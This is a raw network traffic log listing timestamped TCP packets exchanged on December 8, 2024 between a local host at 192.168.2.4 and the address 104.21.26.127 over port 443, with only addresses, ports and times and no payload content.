Dec 8, 2024 01:46:47.195780993 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.368923903 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.368943930 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.369012117 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.369033098 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.369075060 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.374984026 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.374996901 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.375051975 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.375056028 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.375092983 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.381206036 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.381222963 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.381272078 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.381277084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.381314039 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.386637926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.386651993 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.386706114 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.386710882 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.386749029 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.392865896 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.392884016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.392931938 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.392936945 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.392971992 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.398617029 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.398631096 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.398682117 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.398685932 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.398725986 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.404707909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.404740095 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.404799938 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.404803991 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.404843092 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.410929918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.410943985 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.410995960 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.411000967 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.411034107 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.561132908 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.561147928 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.561250925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.561261892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.561304092 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.567322969 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.567336082 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.567399979 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.567404032 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.567445040 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.572837114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.572849989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.572906971 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.572911978 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.572947025 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.578960896 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.578979015 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.579035044 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.579039097 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.579068899 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.585078001 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.585092068 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.585150957 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.585155964 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.585191965 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.590867996 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.590883017 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.590946913 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.590950966 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.590985060 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.597048998 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.597063065 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.597127914 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.597132921 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.597168922 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.602516890 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.602534056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.602596998 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.602602005 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.602646112 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.753448963 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.753465891 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.753525019 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.753530979 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.753581047 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.758883953 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.758898973 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.758954048 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.758959055 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.759017944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.765075922 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.765089989 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.765136957 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.765142918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.765175104 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.771192074 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.771210909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.771264076 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.771269083 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.771315098 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.776617050 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.776633024 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.776685953 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.776690960 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.776736975 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.781405926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.781438112 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.781511068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.781513929 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.787620068 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.787632942 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.787697077 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.787702084 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.787725925 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.793118000 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.793129921 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.793186903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.793195009 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.793216944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.838970900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.943945885 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.943963051 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.944145918 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.944153070 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.944200039 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.949367046 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.949381113 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.949438095 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.949443102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.949486017 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.955526114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.955538988 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.955601931 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.955606937 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.955646038 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.961661100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.961675882 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.961743116 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.961746931 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.961790085 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.967111111 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.967123985 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.967175961 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.967180967 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.967220068 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.973640919 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.973654032 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.973706961 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.973710060 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.973757029 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.979098082 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.979110956 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.979168892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.979173899 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.979212046 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.985277891 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.985291004 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.985348940 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:47.985353947 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:47.985394955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.149234056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.149275064 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.149336100 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.149343967 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.149368048 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.149384975 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.155427933 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.155441999 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.155514956 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.155519962 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.155560017 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.161601067 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.161619902 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.161678076 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.161686897 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.161720991 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.167011976 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.167025089 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.167076111 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.167079926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.167119026 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.173222065 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.173234940 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.173296928 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.173301935 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.173335075 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.178992987 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.179008007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.179054022 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.179059029 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.179071903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.179096937 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.185179949 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.185193062 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.185256958 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.185261965 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.185300112 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.191296101 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.191330910 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.191392899 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.191395998 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.191435099 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.354724884 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.354743004 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.354799032 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.354805946 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.354829073 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.354850054 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.360924006 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.360939980 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.360999107 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.361004114 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.361041069 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.367125988 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.367141962 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.367296934 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.367301941 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.367345095 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.373253107 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.373265982 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.373327017 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.373332024 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.373372078 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.378699064 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.378712893 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.378762960 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.378770113 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.378809929 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.384435892 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.384449005 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.384505033 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.384510040 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.384548903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.390657902 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.390671968 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.390723944 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.390729904 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.390767097 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.396775007 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.396789074 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.396842003 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.396846056 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.396891117 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.546770096 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.546787024 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.546880007 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.546886921 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.546928883 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.552923918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.552937031 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.553004026 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.553009033 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.553049088 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.559005976 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.559021950 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.559094906 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.559099913 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.559156895 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.559159994 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.565217972 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.565241098 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.565270901 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.565278053 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.565310955 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.570648909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.570661068 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.570713043 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.570719004 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.570741892 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.577193022 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.577209949 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.577250957 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.577254057 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.577287912 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.582627058 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.582638979 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.582706928 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.582712889 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.588865042 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.588881016 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.588927984 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.588933945 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.635761976 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.739540100 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.739554882 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.739629030 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.739634991 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.739682913 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.744940042 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.744952917 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.745013952 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.745018959 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.745053053 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.751147985 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.751162052 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.751225948 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.751231909 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.751274109 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.757242918 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.757256985 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.757319927 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.757324934 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.757359028 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.762783051 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.762797117 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.762850046 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.762855053 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.762897015 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.769257069 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.769272089 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.769335032 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.769340038 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.769397974 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.774688005 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.774703979 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.774760008 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.774764061 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.774802923 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.781311035 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.781325102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.781399012 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.781404972 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.781444073 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.931622982 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.931641102 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.931718111 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.931724072 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.931760073 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.937452078 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.937465906 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.937542915 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.937550068 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.937597990 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.943260908 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.943274975 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.943332911 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.943337917 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:48.943375111 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:48.949364901 CET	443	49979	104.21.26.127	192.168.2.4
